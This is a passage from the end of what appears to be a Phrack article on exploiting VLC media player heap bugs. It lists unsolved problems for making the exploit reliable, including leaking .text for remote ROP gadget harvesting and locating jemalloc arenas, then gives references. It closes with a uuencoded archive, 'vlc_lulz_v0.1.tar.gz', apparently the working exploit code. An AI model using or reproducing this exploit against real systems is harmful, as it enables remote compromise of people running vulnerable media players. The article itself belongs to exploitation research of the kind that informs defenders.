target memory, we cannot leak .text or any other read only mapping from
|
||
|
the target application, since attempting to write on it will terminate
|
||
|
VLC with a segmentation violation. Quick tests show that we cannot somehow
|
||
|
set 'i_frame_size' to 0 so that 'memcpy()' becomes a nop. Nevertheless,
|
||
|
the interested reader is advised to analyze this further and find a way
|
||
|
to bypass this limitation.
|
||
|
|
||
|
Note: Recall the RMF vulnerability; a function pointer overwrite is
|
||
|
possible. Managing to leak .text addresses means you can do automated
|
||
|
remote ROP gadget harvesting in order to write a reliable exploit ;)
|
||
|
|
||
|
2 - For some reason we are not aware of, requesting a memory leak of
|
||
|
more than 8MB returns no data at all. Maybe this is related to the output
|
||
|
filters splitting the 'p_blocks' in smaller parts, or maybe not ;p This
|
||
|
is a very important limitation, since smaller leaked data chunks means
|
||
|
more requests for leaked memory which in turn implies more memory being
|
||
|
trashed. Consequently, more data we shouldn't touch may be modified
|
||
|
resulting in an unexpected crash of VLC.
|
||
|
|
||
|
3 - Unfortunately, there's at least one logical bug within VLC;
|
||
|
a logical bug related to input buffering and the clients receiving
|
||
|
network streams. When we have some free time we may report it to the VLC
|
||
|
developers :p More logical bugs that confine the exploitation process'
|
||
|
reliability may be present. A reliable one shot exploit requires a
|
||
|
harder study of VLC's source code (yeah, as if we have nothing better
|
||
|
to deal with).
|
||
|
|
||
|
4 - The exploit assumes that 64-byte regions usually lie between 0x28700000
|
||
|
and 0x28e00000 and tries to locate them. Some times the heap extends
|
||
|
beyond that range. We have to find a way to figure this out, get the
|
||
|
topmost heap address and explore the whole region. Doing that in a
|
||
|
reliable way requires problem 2 to be solved first.
|
||
|
|
||
|
5 - In section 5.2 we analyzed how the 'p_root' candidates are located. The
|
||
|
process described in the aforementioned section takes into account only the
|
||
|
bins of the first arena, but VLC, being a multithreaded application,
|
||
|
initializes more than one. We believe it's possible to detect those extra
|
||
|
arenas, locate their bin-64 addresses and take them into account as well.
|
||
|
Alternatively, one may leak and analyze the TLS data of each thread thus
|
||
|
locating their magazine racks, their magazines and the 'rounds[]' array
|
||
|
corresponding to 64-byte regions.
|
||
|
|
||
|
6 - In step 6 of section 5.2 we said that all regions of the detected runs
|
||
|
will eventually be freed by our special MP4 file in hope that 'p_root' will
|
||
|
lie somewhere within them. Although we do our best to fill heap holes, this
|
||
|
process may result in a segmentation fault due to the fact that regions
|
||
|
already freed are freed for a second time. It is possible to avoid this by
|
||
|
having a look at the target runs' region bitmap and freeing only those
|
||
|
regions that seem to be allocated. We didn't have the time to implement
|
||
|
this but we believe it's trivial (take a look at the comments in the
|
||
|
exploit's 'main.py').
|
||
|
|
||
|
If you manage to solve any of these problems, please let us know; don't
|
||
|
be a greedy pussy ;)
|
||
|
|
||
|
|
||
|
--[ 8 - Final words
|
||
|
|
||
|
Exploit development is definitely a hard task; Do you think that the money
|
||
|
offered by [censored] is worth the trouble?
|
||
|
|
||
|
In this article, which is short compared to our efforts during the exploit
|
||
|
development, we tried to give as much detail as possible. Unfortunately
|
||
|
there's no way for us to present every minor detail; a deeper look into
|
||
|
VLC's source code is required. All that jemalloc stuff was fun but
|
||
|
tiresome. We think it's about time we take some time off :) We would like
|
||
|
to thank the Phrack staff for being the Phrack staff, our grhack.net
|
||
|
colleagues and all our friends that still keep it real. Our work is
|
||
|
dedicated to all those 'producers' of the security ecosystem that keep
|
||
|
their mouth shut and put their brains to work. Love, peace and lots of #.
|
||
|
|
||
|
|
||
|
--[ 9 - References
|
||
|
|
||
|
[1] vl4d1m1r of ac1db1tch3z, The art of exploitation: Autopsy of cvsxpl
|
||
|
http://www.phrack.org/issues.html?issue=64&id=15&mode=txt
|
||
|
|
||
|
[2] Feline Menace, Technical analysis of Samba WINS stack overflow
|
||
|
http://www.phrack.org/issues.html?issue=65&id=12&mode=txt
|
||
|
|
||
|
[3] GOBBLES, Local/remote mpg123 exploit
|
||
|
http://www.securityfocus.com/archive/1/306476
|
||
|
|
||
|
[4] VLC Security Advisory 1103
|
||
|
http://www.videolan.org/security/sa1103.html
|
||
|
|
||
|
[5] Chapter 4. Examples for advanced use of VLC's stream output
|
||
|
(transcoding, multiple streaming, etc...)
|
||
|
http://www.videolan.org/doc/streaming-howto/en/ch04.html
|
||
|
|
||
|
[6] VLC Security Advisory 1105
|
||
|
http://www.videolan.org/security/sa1105.html
|
||
|
|
||
|
[7] RealAudio
|
||
|
http://en.wikipedia.org/wiki/RealAudio
|
||
|
|
||
|
[8] RealAudio sipr
|
||
|
http://wiki.multimedia.cx/index.php?title=RealAudio_sipr
|
||
|
|
||
|
|
||
|
--[ 10 - T3h l337 c0d3z
|
||
|
|
||
|
begin 644 vlc_lulz_v0.1.tar.gz
|
||
|
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
|
||
|
